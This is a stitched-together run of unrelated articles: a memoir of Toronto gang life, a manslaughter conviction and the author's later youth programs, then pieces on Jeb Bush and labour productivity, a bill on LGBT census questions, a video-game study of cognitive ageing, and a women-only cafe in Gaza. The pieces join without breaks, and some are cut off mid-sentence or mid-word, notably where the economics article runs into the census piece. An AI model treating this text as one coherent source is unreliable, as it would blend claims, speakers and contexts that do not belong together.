I entered that world in the summer before Grade 9, when my family moved to a townhouse near Morningside and Lawrence. My dad was still running his business in Quebec, and he was travelling so much for work that I barely saw him. I felt like I didn’t have anyone in my life. The summer before high school began, I met a kid my age—I’ll call him Michael—at the local community centre. (I’ve changed his name and a few others to protect their anonymity.) I was in awe of Michael. His pants were perfectly baggy, creased and tucked into his socks. His parents had good jobs, and he would always have the new Air Force 1 Nikes. We hung out all the time, smoking weed and playing Cee-lo, a dice game. By the time I started school in September, I was smoking and gambling every day.
I quickly discovered that Michael’s older brothers were associates of the Galloway Boys. The gang formed in the late ’80s, and over the next three decades was involved in drug trafficking, gun running and prostitution. I wanted to be just like them, so I started wearing gang insignia—including blue bandanas, the Galloway trademark—as a way to let the world know I was part of it, too. I used to walk around with a baseball bat to intimidate people. I didn’t even need to use it: just holding it was enough for me to feel powerful. I didn’t want to be that good guy doing his homework in the corner. He was invisible. I wanted people to see me. And for the first time, they did. I was popular.
One day, I was walking down the street with Michael and another friend when we saw a kid with a nice CD player. So we snatched it, pawned it, bought McDonald’s for dinner, and saved the rest for dice. That night, at home, a cop came knocking on my door—the kid had reported the theft, and Michael and our other friend had snitched on me. I was the new guy in the neighbourhood, the lowest on the totem pole. It was my job to take the fall for them. I got house arrest and one year’s probation.
It was my first criminal charge. I should have been terrified, but back then, it didn’t faze me. It was a street stripe—it helped boost my reputation. Guys were more afraid of me, less likely to start a fight. And we were always fighting. If you didn’t retaliate, you were a punk, a baby. Guys would even flash guns on school property. Once, I was at a party in Cataraqui, a housing complex near Warden and Danforth. We were outside smoking a joint, when about 30 guys from a rival gang showed up, and one had something in his hand. Just as I registered that it was a gun, I heard a pop. I ran as fast as I could, jumped over a fence into a field and sprinted all the way back to Warden station. Only then did I realize my shirt was ripped and I was bleeding. I’d been grazed by the bullet.
I skipped school one day toward the end of Grade 9 to play dice with three Galloway Boys in one of their basements. Within an hour, I’d lost $1,700. I’m sure they set me up. I didn’t have the money, so every day for the next month, when I saw these guys at school, I’d give them a payment of something, anything I could scrounge together. They didn’t even have to threaten me; I knew what happened to people who didn’t pay back what they owed. They’d get beaten, robbed, sometimes even shot. I would do whatever it took to clear my debt.
Soon, I was robbing people with my friends from the neighbourhood. You know those subway rats, who loiter at Kennedy, Vic Park and Main stations? That was us. We’d target anyone with money or nice stuff—stereos, headphones, shoes, glasses, anything we thought we could pawn. It was easy: there were enough of us to just swarm somebody and pounce. We’d flash a knife, maybe grab them or push them around. Sometimes we just threatened to beat them up; other times we went through with it. Most people never screamed or resisted: they just handed over their stuff. The police only got involved if the TTC collector saw what happened and reported it. I used my take to pay back my gambling debt.
My family didn’t stay long in Scarborough. My dad married his girlfriend, and just before I started Grade 10 we all moved to Whitby, where I attended Father Leo J. Austin, a Catholic high school. As a kid from Galloway, I had instant cred. I told my new friends about all the stuff I’d done, all the people I’d robbed. To kids in the suburbs where this stuff rarely happened, I seemed cool. Before, I was a follower, but now people turned to me as a leader, and I liked it. There weren’t any power players in Whitby. The guys I met were looking for somebody to follow. Everyone was always turning to me, asking me what to do. They called me Young’un.
One night, a bunch of us were at a house party in Whitby, and a beautiful girl came in on the arm of a guy from another school. My friends decided they didn’t like that she was dating him—it was like, “How did he get her?” They wanted to do something about it, but they needed my say-so. So we jumped the guy. Later, over MSN messenger, he said he wanted to fight me. Galloway thinking popped back into my head: I knew I couldn’t back down. The next day, I skipped school with my friends. I was so popular by this point that half the school left with us. I was like the Pied Piper—a whole line of kids snaked behind me, eager to watch the fight. When I got to this guy’s school, he came out shaking, but I was revved up. I saw his fear. “You can either fight me or embarrass yourself,” I told him. He backed away, and I knew it was over. He’d chosen humiliation. I told him to take off his pants and left him outside in his boxers. Then, my friends told him he needed to pay me $50 twice a month for the trouble he’d caused.
He called the police and exaggerated the story—in his version, I’d pulled a knife and threatened to kill him. The next day, I was arrested at school, and charged with extortion, possession of a weapon, threatening death and violating my probation. I was sentenced to three more years of probation and 150 hours of community service. My dad was furious. He grounded me and forbade me from hanging around with those “street boys,” as he called them. It didn’t matter. He was still working and travelling a lot, and I took advantage of that. As soon as he left, I was gone—back out with my friends, smoking weed, causing trouble. My three older sisters—straight-A students, all of them—were sad about my behaviour, but they weren’t surprised. It seemed normal to them that a young black guy would act that way.
After six months in Whitby, my school’s vice-principal suspended me for the rest of the semester for being drunk at school—he said I was a bad influence on my peers. While my sisters were preparing for university, I was starting Grade 11 at Durham Alternative Secondary School, or DASS, in Oshawa. It’s where kids go when they’ve been kicked out of the regular school stream. At DASS, we only went to school for half a day. Most of us took two classes, max. If you took three classes, you were a nerd. They didn’t teach us much—mostly cooking and crafts. We had to take English and math to earn a diploma, but the academic expectations were much lower than at a regular school. I spent a lot of my time there gambling, smoking weed and trying to hook up with girls. I hated it there. It seemed like a place they dumped kids the system had given up on.
I was walking home with some new friends one day when I spotted the kid I’d stripped and embarrassed—the one who reported me to the police. I told my friends who he was and how he’d lied about me to the cops. They ended up chasing him down the street to his house, where he ran inside. When I got home, I saw a police cruiser outside of my house. My heart sank. I ended up pleading guilty to violation of probation and was sentenced to 30 days at Brookside, a juvenile detention centre in Cobourg.
The day I was released, my dad and sisters were supposed to come get me. Three or four hours passed, and nobody showed up, so I took the bus home. When I got to my house, I found it all locked up, with an eviction notice posted on the front door. I broke in and realized my family hadn’t been there for a while: the heat was off and the fridge was full of rotten food. I couldn’t reach my family, and I just snapped. I stole the keys to my dad’s van, which was still there, and used it to go visit some friends. We decided I needed to hustle to make money, so we planned a string of robberies—we stole drugs and around $2,000 in cash from three or four drug dealers.
I slept at my abandoned house and crashed with friends for about a week before my oldest sister, Morayo, finally called me. She said my dad’s diabetes had gotten bad and he was too sick to work, so he’d gone to live with one of our aunts. Then my sisters had moved out. They figured I’d be fine. Segun can take care of himself, they thought. My sister Abi, who was studying health management at York, agreed to let me move in with her at her apartment near Jane and Finch. No regular schools would take me, so I enrolled at Monsignor Fraser, another alternative school. Just like DASS, it focused on life skills instead of academics. I was back to cooking breakfast for class credit.
When I first started running with gangs in Grade 9, it was so I could be cool, so I could fit in. By the time I became involved in gang activity near Jane and Finch, it was because I didn’t see another option. I thought maybe, if I made some quick money, I could become a real estate mogul. I started selling drugs, mostly weed and coke, some ecstasy. I even tried cooking crack. My friends and I were always planning. Plotting. Smoking weed and thinking about our big hit—the one that would make us enough money to stop. As a small-time drug dealer, I was barely making minimum wage; you have to sell a lot of dime bags to get rich. In the year I was living at Jane and Finch, I only earned about $15,000. I spent it on a 1992 Nissan Altima. I didn’t want to sell heroin, or meth, or large quantities of weed. You have to decide where you draw the line, and when you’re moving hard drugs, you have to be prepared to die—or to kill someone in an instant. I couldn’t do that to my family.
At this point, I wasn’t in any specific gang—I was friends with a lot of different crews. And most of my friends were carrying guns. One day, early in 2006, I was at my friend Tyler’s apartment, and he was cleaning his gun. He asked me if I wanted to hold it. I’d seen a lot of guns. I’d seen people threaten to shoot. I’d been shot myself. But I’d never had my own gun. It was a 20-gauge pump shotgun. When I shoved it down my pants, it went from my hip past my knee. I thought, Now I know why we limp. I asked Tyler if I could borrow it, and he agreed that we could share it. It was just like when I was 14 and carried a baseball bat: it made me feel powerful. Guns are made to take things. And that’s how I used mine. While I never shot it, I always flashed it when I was robbing drug dealers. I thought I was untouchable. I soon realized I wasn’t.
STREET LIFE The author pictured in 2005, a year before he was convicted of manslaughter in the stabbing death of Danilo Celestino. (Image: Facebook)
On April 20, 2006, I finished an English exam at school and went searching for some weed—it was Bob Marley Day. I met up with some friends at Downsview Collegiate and walked to a Coffee Time at the corner of Keele and Wilson. My friend Nathan saw Danilo Celestino, a 17-year-old kid he knew who he thought might have some weed for sale. When we walked to the bathrooms to make a deal, I went in and Nathan stood outside to guard the door. Before negotiating, Celestino asked me about the people I knew. I was friends with somebody who had beaten his friend with a metal pipe for trying to rob his car. Things quickly got heated between us—we argued about the pipe incident, whose fault it was. I turned to leave. “Fuck this shit,” I said.
Suddenly I felt like I’d been punched in the head, twice. He’d stabbed me in the back of my neck, close to my cerebellum. I turned around to see he was holding a knife with a dragon handle. It was covered in blood. I don’t remember what happened next, not really. I remember him coming at me with the bloody knife. We fought, and I got the blade. I ended up stabbing him three times; I learned later that one of the cuts sliced his aorta. He staggered outside the Coffee Time and crumpled on the ground.
Nathan came running into the bathroom and told me we had to go. I remember looking in the mirror. I had on a white Mickey Mouse hoodie—it was now red, soaked through with blood. Nathan shouted at me to move. I splashed some water on my face, grabbed the knife off the ground and ran. At that moment, nothing was registering. I was in shock—I couldn’t believe what I’d done. As I ran away up Wilson, I saw a cop driving down to the coffee shop. We made eye contact as she drove by. Then I was gone.
I dumped my bloody hoodie in the park, then raced to a friend’s house. I didn’t want to go home. I turned on CP24, where the incident had made breaking news. They were reporting that Celestino had been rushed to the hospital. For a moment, I was hopeful: maybe he’d be okay. I kept watching the news, feeling sick to my stomach as I waited to hear more about Celestino. My face was soaked in sweat, and I could barely breathe. After a few minutes, my friend called and told me he’d heard Celestino was dead.
I didn’t want to believe it—I knew my life was about to change forever. I went to the park and sat on a bench, trying to figure out my next move. For a few days, I waited. Even though I knew I’d have to turn myself in, I wanted to put it off as long as possible. I went to class. I took my exams. But I couldn’t think about anything other than what I had done. Four days later, I found out the police had security footage from the Coffee Time before the fight. My time was up.
My lawyer believed the Crown would charge me with manslaughter. I was shocked to find out that they’d slapped me with second-degree murder, which means they thought the act was premeditated. I was facing a potential life sentence. The court sent me to Maplehurst Correctional Complex in Milton for a few months, and then to the Don Jail while I waited for trial.
The Don was just as bad as I’d always heard: grey, rusty and overcrowded. The other prisoners mostly left me alone, because my charge, second-degree murder, gave me a certain amount of respect. I was lucky that my cellmate liked me—he was happy to have someone he could play chess with. He was also violent: he’d been fighting so much that the warden had sent him to solitary for a few weeks before I got there. He wasn’t back in the cell for long before he retaliated against another inmate—the guy was supposed to sell drugs for him but stole them instead. People smuggle all sorts of things into jail: heroin, coke, oxy, weed, hash, anything. I even heard about people smuggling gun parts into the Don, stuffing them up their asses. My cellmate used his pull with the guards to get the inmate he was after, who was a drug addict, transferred to our block. He and some of his friends yanked the guy out of his cell shortly after, and beat him, badly. They pissed on the guy, then took paper towels and rolled them into wicks, lit them and burned him all over. By the time they dumped him back in his cell, he was covered in blood. He lived, but barely. All of us in the range were confined to our cells for a week.
I’d been in custody for 13 months when 15-year-old Jordan Manners was shot dead at C. W. Jefferys near Jane and Finch. The public was clamouring for a crackdown on street violence. My crime had made all the papers, and the Crown wanted to make an example of me. If I went to trial, they said they’d get my friends to turn on me. There was a good chance I’d be convicted. Or I could take a plea: they were willing to settle for manslaughter, with a five-year sentence, including the time I’d served awaiting trial. That meant I’d be in prison two years and 10 months, max. I didn’t want to risk a life sentence. I pleaded guilty.
The hearing was surreal. I think about it every day. All of the victim’s friends and family—his parents, his brother, his cousin—filled up one side of the courtroom. The other was packed with school kids who were there on a field trip to learn about the judicial system. Celestino’s family read victim impact statements. His mom sobbed through her words, talking about how her son had hoped to start a career as a computer technician and how he’d volunteered to help with Pope John Paul II’s Toronto visit in 2002. His dad, who’d moved the family to Canada from the Philippines, lamented how hard he’d worked to make sure his kids would have a future.
I did my time at Fenbrook, a medium-security prison in Gravenhurst that’s now part of Beaver Creek. It looked like a big college campus. There were five ranges around a circle, and in the middle, there was a soccer field, community centre, gym, library, programming room and barbershop. There was even a grocery store and a wood shop where you could build furniture. It didn’t seem so bad at first.
I relied on the same old power structures. I used my conviction as a street stripe. But as the weeks went by, I fell into a depression. My dad was still sick, so he couldn’t visit me very often, and my sisters were busy with school. I was all alone. At one point, I remember talking on the phone with an old girlfriend and telling her I felt like I’d died. Like the old me was gone. I was still just thinking about myself.
One day, after I’d been in jail for about a year, my dad came to visit. I hadn’t seen him in a few months, and his health had improved. It seemed like everything had changed between us—for the first time, he treated me like a man, not a wayward kid. He walked outside with me, his hands behind his back, telling me he could help me change, but only if I wanted to. At the same time, I started meeting every few days with a priest who worked at the prison. We’d talk for hours about my past. The mistakes I’d made. The person I wanted to become.
Throughout all this, I’d been attending anger management sessions as part of my sentence. One day, I was talking to my facilitator, who was giving us exercises for controlling our frustration. When he told me to count to 10, something bubbled up inside me and I just lost it. I thought, He doesn’t even know why I’m angry! He doesn’t know what led me here. At that moment, I realized that neither did I. I needed to sit down and think about what I had gone through. Many young men in jail had faced the same barriers as I did. If I figured out where I went wrong, maybe I could help myself and others like me.
For the next six months, I became obsessed with writing a manual based on my own experience—a book that would help kids avoid getting into trouble. I conducted written surveys, asking fellow inmates what happened to bring them to incarceration. I was looking for common threads. And I found them: peer pressure, single-parent households, racism, low incomes, getting shunted around the education system, precarious housing. We were all just living up to our own stereotypes. I wanted to break the cycle.
I made a decision: as soon as I got out, I would look into launching programs for marginalized kids. I turned my manual into a curriculum that I could teach once I was released. It outlined three levels of criminal activity. There are the kingpins, who commit robberies and kidnappings, who are involved in drug and gun smuggling, and embody a “kill or be killed” mentality. There are the Scarfaces, who deal some drugs, steal cars and have a sense of invincibility. And there are the soldiers, who follow the crowd, commit minor thefts and buy drugs for personal use. I developed a curriculum to give kids the training they’d need to make better lives for themselves. They’d meet with reformed criminals and survivors of violence to learn about the impact on both perpetrators and prey. They’d learn leadership skills and take career-aptitude tests. They’d spend time with prisoners and ex-cons to see how they live and reintegrate back into society. I counted down the days until I could get out of prison and begin teaching my program. For the first time in my life, I was filled with hope and purpose. AFTER PRISON The author working with kids at Bright Future Alliance; at Currant with colleagues Nahum Mann and Presley Durga. (Images: Bright Future Alliance courtesy of Segun Akinsanya; Current by Luis Mora) I made parole in February 2009, at age 21, after two years in prison. When Abi came to pick me up, I did a backflip in front of the jail. I remember looking back at the gates thinking, Wow, I was in there. As we drove along the rural roads near the jail, my brain was on autopilot: I’m free, I’m free, I’m free. We stopped for a Subway sandwich, and she bought me a new pair of shoes. That day, I moved in with my dad in King City, north of Toronto. It was my first time living with him since he got sick when I was 16.
I was still committed to my youth program, which I named Bright Future Alliance. For the first few weeks, I was on the computer every day, emailing philanthropic organizations, community centres and social justice workers about my idea, and I carried my 60-page program manual with me everywhere in a briefcase my family bought me. After a few months of cold calls and knocking on doors, I hooked up with an organization in Markham called Pathways, which later changed its name to 360 Degree Kids. They gave me the opportunity to run my first program: a martial arts class for youth ages 14 to 25. From there I was introduced to the Remix Project, a United Way partner that does programming for marginalized youth in underserved communities in the GTA.
At first, I kept in touch with a lot of my old friends. I thought I could maintain those relationships while still moving forward. My buddy Nathan brought a few girls to see me in King City one day. The whole time driving up, he’d bragged about what I’d done—he thought it would impress them. By the time they got to my house, he’d finished the story. They were horrified: they called me a murderer and took the bus home. It was heartbreaking. I wanted to move on—to be defined by something good—and Nathan was glorifying his association with me to gain credibility in the ’hood. I was more careful after that. I needed to cut those ties.
My first big break came in December 2009 from one of my mentors at the Laidlaw Foundation, which supports youth-run projects. One of my grant applications was successful, and they gave me $5,000 to run a pilot program. They said, “Let’s see what you can do.” It wasn’t much, and yet it was everything. I dropped to my knees and cried. I used the money to start a life skills program on Tuesdays and Thursdays for kids in my old neighbourhood at Vic Park and Eglinton. Around the same time, I enrolled in U of T’s bridging stream at Woodsworth College. I’d received my high school diploma in prison, but the course would help me get into university.
Soon, Bright Future Alliance received two more Laidlaw grants, for $25,000 and $35,000, which we used for our education programs. I was teaching in schools and running event-leadership seminars. Then came a $10,000 City of Toronto grant, from the Identify ’N Impact Investment Fund. Then a $5,000 Telus grant. I used it all to expand my programs: I was teaching kids how to transcend stereotypes and build their social capital.
But while my business was growing, I was struggling to keep the rest of my life afloat. I needed to make money—all my grant funding was going toward keeping my programs alive. For the longest time, I couldn’t find work. Interviewers liked me until I told them I was on parole for manslaughter. I applied for one job at a call centre, and as soon as it was done, the interviewer asked me when I could start. When I told him my backstory, he went to speak with his boss, then said he’d get back to me. He never did. And that’s how it always went. There were times I was broke. I was on and off welfare. I wasn’t eating very much. And I was depressed. I thought I’d never be able to escape my past.
After two years, I was appointed to a provincial advisory board called Stepping Stones, designed to help young people with their social and emotional development. Through that experience, I met members of the African Canadian Legal Clinic, an organization that works to address racism in the court system. They put me forward for a job opportunity with the clinic’s Youth Justice Education Program, which had received $2 million in funding to hire eight young men who would work with at-risk youth. In March 2012, I got the position—my first paying job. When my new boss called to tell me, I just cried on the phone.
The job gave me the boost I needed. It was so strange being on the other side. Some days, I was required to go to court with my team. I sat at the front of the courthouse with the lawyers—for once, I wasn’t one of the accused. We even travelled to Ghana to learn about the slave trade; it was my first time on a plane. The legal clinic paid off my student debt so I could start my BA in human geography at U of T. They also gave me a gym pass and medical benefits. I got a side gig selling branded credit cards at the mall, and I finally had enough money to buy myself a new car.
A few years ago, I teamed up with two other entrepreneurs: Nahum Mann, who ran a program called Youth Nation, and Ameen Binwalee, who founded Out of the Box, an organization for marginalized kids. We joined forces to form a co-op called Currant. We received a $25,000 Ontario Trillium Grant from the Youth Opportunities Fund to start a trades program, and participated in a two-day celebrity basketball game and artist showcase at Maple Leaf Gardens, which raised another $25,000. Around that time, someone from a charity called Working Women Community Centre reached out, inviting us to come work out of the Victoria Village Hub, a community space at Vic Park and Eglinton. It wasn’t cheap— $2,500 per month—but we took it. (Working Women was eventually able to help subsidize our rent.) We turned it into a workspace where we offer resources for local entrepreneurs. I work with amazing people who inspire me every day. Together, we’re helping others contribute to the health of their communities and giving those on the fringes a chance to succeed. In February, for example, we’re holding an event called the 6 Social at the Royal Conservatory of Music, designed to help kids improve their lives by using social media and technology.
At age 28, I wouldn’t say I’m “successful” in any conventional sense of the word. I’m struggling emotionally and financially—the work isn’t easy, and neither is life. I wish Danilo Celestino didn’t have to lose his life so I could find mine. But my career gives me a larger purpose. People always ask me if I’d change what happened, and I say no; you can’t change the past, but you can create your future. I’m alive today so I can share my story and heal. It’s been a long journey. My whole life I’ve wanted to be part of something bigger, but I always sought that out in negative ways. Now I’m part of something important and productive. I’m defined by something good.WEST COLUMBIA, SC - JUNE 29, 2015: Republican presidential candidate and former Florida Gov. Jeb Bush answers questions from employees of Nephron Pharmaceutical Company June 29, 2015 in West Columbia, South Carolina. Before talking with the employees of the Orlando, Florida based company Bush took a tour of the facility in West Columbia, South Carolina. (Photo by Sean Rayford/Getty Images)
A couple days ago, GOP Presidential front-runner Jeb Bush made an interesting remark about the job market.
"My aspiration for the country — and I believe we can achieve it — is 4 percent growth as far as the eye can see," he told the New Hampshire Union Leader. "Which means we have to be a lot more productive, workforce participation has to rise from its all-time modern lows. It means that people need to work longer hours and, through their productivity, gain more income for their families. That's the only way we're going to get out of this rut that we're in."
Unions, progressive groups and even Hillary Clinton jumped all over the part about working longer hours. Americans have been working more in recent years, they pointed out, and stopped earning more in proportion to their ever-growing productivity back in the 1970s. Bush quickly qualified, saying he was talking about the people who can't find full-time work, not everybody else who's got more work than they can handle.
The economics behind the argument tell us a lot about how liberals and conservatives look differently at the U.S.'s labor situation, and how neither set of prescriptions fully gets at the roots of the problem.
Bush may have been reacting to the noise that advocates have been making about the lack of full-time hours in the retail and food service industries, especially after Wal-Mart and McDonald's raised their minimum wages but declined to make any commitments around their mix of full-time and part-time workers. The rise of the temporary workforce has also garnered significant attention, as companies seek to tailor their labor supply to how busy they are day by day. And while the number of people working part-time because they couldn't find full-time work has fallen since the height of the recession, it remains elevated.
Bush attributed that stubborn problem to lackluster economic growth, and said that policies that raise the cost of doing business — like health-care reform — are at fault for a decline in new business starts. But despite anecdotal evidence that some companies have been keeping workers part-time so as to avoid having to offer them health insurance under the Affordable Care Act, economists haven't seen evidence of that in the statistics.
Here's what he didn't mention: The fact that overtime protections haven't kept up with inflation, which has allowed companies to overload low-level managers without paying them time-and-a-half (which the Obama administration is trying to fix through an updated overtime rule). And companies have also found it convenient to make workers into independent contractors, who work until the job's done, without being entitled to any benefits.
The result is a world in which the 40-hour work week is a rarity — both because some people work way more than that just to keep jobs that don't entitle them to greater pay for longer days, and because companies rely on a part-time workforce they can keep on call for when they're needed.
Now, liberals don't want the part-time issue to distract from their broad campaign theme of raising wages. They argue that the problem is workers just aren't earning enough, for a host of reasons that have nothing to do with growth: The minimum wage hasn't kept pace with inflation, corporations are making record profits and paying back shareholders instead of sharing them with employees, the decline of unions has left workers without the bargaining power to demand more.
But the question of productivity — how much each worker can achieve per hour, given the set of tools at their disposal — is a little trickier to answer. Getting more out of employees might help corporations, but does that matter if they're not paid accordingly? And what if it means there aren't enough jobs to go around?
Although rising productivity hasn't done much for workers over the past few decades, economists are actually quite worried about the fact that labor productivity has been slowing in recent years. The Organization for Economic Cooperation and Development just put out a massive report on the subject, laying out what's gone wrong and how to fix it. In an event discussing it at the Peterson Institute, moderator Adam Posen addressed the perceived conflict between productivity and the bargaining power of workers head on.
"There is a substantial set of voices that views productivity as the enemy of labor, that you’re going to replace low-skilled people, you put pressure on wages, productivity is generally a negative," Posen said, before asking report author Catherine Mann and Council of Economic Advisors chairman Jason Furman for their thoughts.
Mann agreed, but said that one of the report's main prescriptions — helping skilled workers find the employers that need them, which has been a problem — will both increase business productivity and help boost wages.
“When the worker is poorly matched to their job, that is negative for productivity growth," Mann said. "It’s also negative for workers, because they’re not getting paid for their marginal product. No chance of it, because what firm is going to pay a skilled worker when they’re not doing a skilled job?"
There have been a lot of ideas for how to address that problem, including leveraging "online talent platforms" to make the labor market more transparent. Often, employers need to be persuaded to hire people who don't have college degrees for positions where the credential isn't actually necessary.
Next, Furman talked about the "job churn" problem. Employment mobility has declined in recent years, for a bunch of reasons including the difficulty of finding good housing. Helping people switch jobs more often, often explained as a way to let businesses hire and fire as they please (or "labor market flexibility") can also strengthen worker bargaining power even as unions have declined. "If you’re never going to leave your business even if you are productive, what threat and ability do you have to get wage increases |
alva, D-Ariz., who plans to introduce on Friday a bill requiring the U.S. census and other federal surveys to ask respondents about their sexual orientation and gender identity. Like other census data, the responses would be reported anonymously.
The answers would help lawmakers better understand policy that affects LGBT people, Grijalva said.
"The current lack of sound data about sexual orientation and gender identity in many federal surveys means we are ill-prepared to meet the needs of these communities," he said in a written statement. "To go uncounted is to be unseen in the eyes of policymakers, which is why we must develop a credible and confidential understanding of these vulnerable populations we currently know too little about."
The bill has one New York Republican supporter and more than 60 Democratic original co-sponsors. They include Arizona Democratic Reps. Kyrsten Sinema, the only openly bisexual member of Congress, and Ruben Gallego, a straight member of the LGBT Equality Caucus.
Grijalva led a letter by about 70 lawmakers in April that urged the U.S. Census Bureau to accelerate plans to add questions beyond same-sex marriage to its forms. Federal agencies already have been meeting to discuss LGBT data collection.
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Some critics warn people may not answer the census accurately for fear of "outing" themselves to the government. But some opponents of gay rights welcome the idea, predicting data will show a smaller demographic than activists claim.
Grijalva's bill is likely to go nowhere in the Republican-led Congress. But it signals Democrats' willingness to push issues important to their liberal base in an election year, even if it holds up important legislation.
"If they drive the bulldozer at us, we have to push back," U.S. Rep. Trent Franks, R-Ariz., told the Washington Post about the Democrats' efforts. (Photo: Deirdre Hamill/The Republic)
"Democrats (are looking) to sabotage the appropriations process," House Speaker Paul Ryan, R-Wis.,said late Wednesday, after the minority party sought successfully to add gay-rights protections to a water and energy bill.
"If they drive the bulldozer at us, we have to push back," U.S. Rep. Trent Franks, R-Ariz., told the Washington Post.
Republicans countered with an amendment asserting religious exemptions. The controversy helped kill support for the underlying legislation, sending House leaders back to the drawing board on a key annual spending bill.
A similar fight unfolded last week. Chaos erupted when Republicans held open a floor vote on a military spending bill so that several of their members could switch their votes in order to defeat an LGBT amendment offered by Democrats.
Both amendments sought to uphold President Barack Obama's executive order barring employment discrimination by federal contractors on the basis of gender identity or sexual orientation.
Minority Leader Nancy Pelosi, D-Calif., said the outcome is the fault of Ryan's own party: "House Republicans' thirst to discriminate against the LGBT community is so strong that they are willing to vote down their own appropriations bill in order to prevent progress over bigotry."
USA Today reporter Paul Singer contributed to this article.
Read or Share this story: http://azc.cc/1TJja8TPLAYING video games can prevent and even reverse deteriorating brain functions such as memory, reasoning and visual processing, a study says.
The University of Iowa study of hundreds of people age 50 and older found that those who played a video game were able to improve a range of cognitive skills, and reverse up to seven years of age-related declines.
"We know that we can stop this decline and actually restore cognitive processing speed to people," said Fredric Wolinsky, a University of Iowa professor of public health and lead author of the paper published in the journal PLOS One.
"So, if we know that, shouldn't we be helping people? It's fairly easy, and older folks can go get the training game and play it."
The study is the latest in a series of research projects examining why people, as they age, lose "executive function" of the brain, which is needed for memory, attention, perception and problem solving.
Wolinsky and colleagues separated 681 generally healthy patients in Iowa into four groups. Each of those was split into segments with people 50 to 64 years of age and those over age 65.
One group was given computerised crossword puzzles, while three other groups were asked to play a video game called Road Tour, which revolves around identifying a type of vehicle displayed fleetingly on a licence plate.
Participants were asked to re-identify the vehicle type and match it with a road sign displayed from a circular array of possibilities.
The player must succeed at least three out of every four tries to advance to the next level, which speeds up the vehicle identification and adds more distractions.
"The game starts off with an assessment to determine your current speed of processing. Whatever it is, the training can help you get about 70 per cent faster," Wolinsky said.
The groups that played the game at least 10 hours, either at home or in a lab at the university, gained at least three years of cognitive improvement when tested after one year.
A group that got four additional hours of training with the game did even better, improving their cognitive abilities by four years, according to the study.
"We not only prevented the decline (in cognitive abilities), we actually sped them up," Wolinsky said.
The key appeared to lie in improving the brain's processing speed, which can also widen one's field of view.
"As we get older, our visual field collapses on us," Wolinsky explained.
"We get tunnel vision. It's a normal functioning of ageing. This helps to explain why most accidents happen at intersections because older folks are looking straight ahead and are less aware of peripherals."
The study builds on research begun in the 1990s on efforts to improve memory, reasoning and visual processing speed.
The researchers found those who played Road Tour scored far better than the crossword puzzle group in functions such as concentration, nimbleness with shifting from one mental task to another and the speed at which new information is processed.
The improvement ranged from 1.5 years to nearly seven years in cognitive improvement, the study found.
"It's the 'use it or lose it' phenomenon," Wolinsky said.
"Age-related cognitive decline is real, it's happening and it starts earlier and then continues steadily. The good news is we can do something about it."GAZA CITY, Gaza Strip — Colorful butterflies and flowers adorn the walls of the cafe where ladies sit together for a cup of morning coffee to engage in cordial conversation. In one corner, an Arabian-style seating area is set up, where women and girls gather to read and discuss literary and cultural books. The cafe opens to a small garden planted of Graminaceae (green flowering plants), which creates a soothing outdoor ambiance.
Inside, women have access to a movie theater room equipped with a 3-D flat-screen TV. The room leads to a game room, where women can play a variety of sports or educational games, including billiards, cards, chess, backgammon and dominoes.
Women can enjoy all of this and more at al-Jalaa, an all-female cafe on al-Jalaa Street in the center of Gaza City.
The cafe is managed by three female friends, Heba al-Banna, Douaa Aly and Yasmin Fayez, who were unable to find jobs after graduating from university in light of a 41.7% unemployment rate in the Gaza Strip.
A year ago they decided to open a special coffee shop for women.
The idea was to provide an all-female recreational gathering point that ensures privacy, is in line with the social needs of Gaza’s women and reflects their interests; a place where they can relax, talk and laugh aloud, as most women do not feel comfortable sitting in mixed restaurants and coffee shops.
In this context, Banna, 32, who has a master’s degree in geography, told Al-Monitor, “We opened this cafe Feb. 7 based on the idea of maintaining women's privacy in the community. The cafe closes its doors at night, opening only from 8 a.m. to 5 p.m.”
Walking around the cafe, visitors immediately notice the gentle colors and decorative items. Banna asserted that constructing an all-female cafe was a bold and powerful idea, but it required a strong will and motivation, noting that she and her friends were encouraged by their parents to implement their idea.
Aly, 25, said the cafe is a versatile place. “We have a reading section offering a variety of books and novels in a quiet Arabian setting, where a woman can practice her reading and writing hobby,” she told Al-Monitor, adding, “We also seek to issue a literary magazine publishing articles written by our customers and to organize book club meetings and poetry competitions.”
She further added, “We are working on hosting female handicrafts exhibitions to display embroidery, knitting and crochet crafts, and we plan to offer aesthetics courses and workshops for interested customers.”
She pointed out that they aim to promote the role of women in society by organizing training courses on human development, noting that the cafe is the first place in the Gaza Strip that features a billiard table for women in its games section.
In addition to the movie theater section, the cafe includes an oratory, “a place where Muslims can pray. … Restaurants [in Gaza] do not include an oratory for women. Muslim men can pray anywhere, but women can’t,” Aly said.
Banna said the prices at al-Jalaa cafe are minimal, as sandwiches are sold at prices ranging from 3 to 5 shekels ($.80 to $1.40) at most.
She explained that women can bring their meals with them if they want. In that case, they would only pay a fee in return for the table reserved for them.
Veiled women lack a sense of privacy in public places in Gaza, as they are often forced to eat with their veil on or to sit in an opposite way if there are men around, which many women find annoying. But in an all-female cafe, women can remove their veils to enjoy their food, sit and talk comfortably and laugh with their friends.
Fayez, 27, who holds a university degree in sociology, told Al-Monitor, “Women are entitled to a recreational place where they can act freely without the need to be accompanied by a male guardian. There are no places in Gaza where women can enjoy a sense of privacy, as restaurants are crowded with men. Women feel their presence at such locations is socially rejected and are often looked down on when they frequent public recreational places. This is what pushed us to open an all-women cafe.”
Cafes in Gaza have been mostly frequented by men for many years now. This caused Gazan women to search for their own recreational spots to enjoy freedom and privacy, which they often lack in the male-dominated society.
Gazan women believe that men are taking over public places and restaurants and they often view women who visit such places without a male companion as suspicious, which restricts women’s freedom. This falls within the scope of the inherited conservative social culture of the Gaza Strip, which still believes a woman’s place is in her home.
Angie, one of the cafe’s frequent customers, told Al-Monitor, “I liked the idea of a cafe just for us girls, where we can hang out and even celebrate birthday parties with our friends. The games section, especially the billiards table that I love, added a special sparkle to the place.”
Samar al-Rayess, another customer, told Al-Monitor, “The idea of a coffee shop restricted to women, whether in terms of workers or customers, is a modern and innovative idea. This place provides psychological comfort for women and shows that the society in Gaza is keen on preserving women’s privacy and ensuring their well-being.”
In turn, loyal customer Naama al-Hajj explained to Al-Monitor that her husband allows her to visit the cafe for an hour on the weekend. “He said I had the right to do so. I was thrilled. I have finally found a place where I can be myself, as a woman. This is a new experience for Gazan women as restaurants and cafes have been restricted to men for many years,” she added.
Raouf Junaid applauded the idea. His daughters are regular customers at al-Jalaa cafe. “I feel reassured whenever my daughters are at the cafe. I am sure they are having fun there and not being annoyed by boys,” he told Al-Monitor.
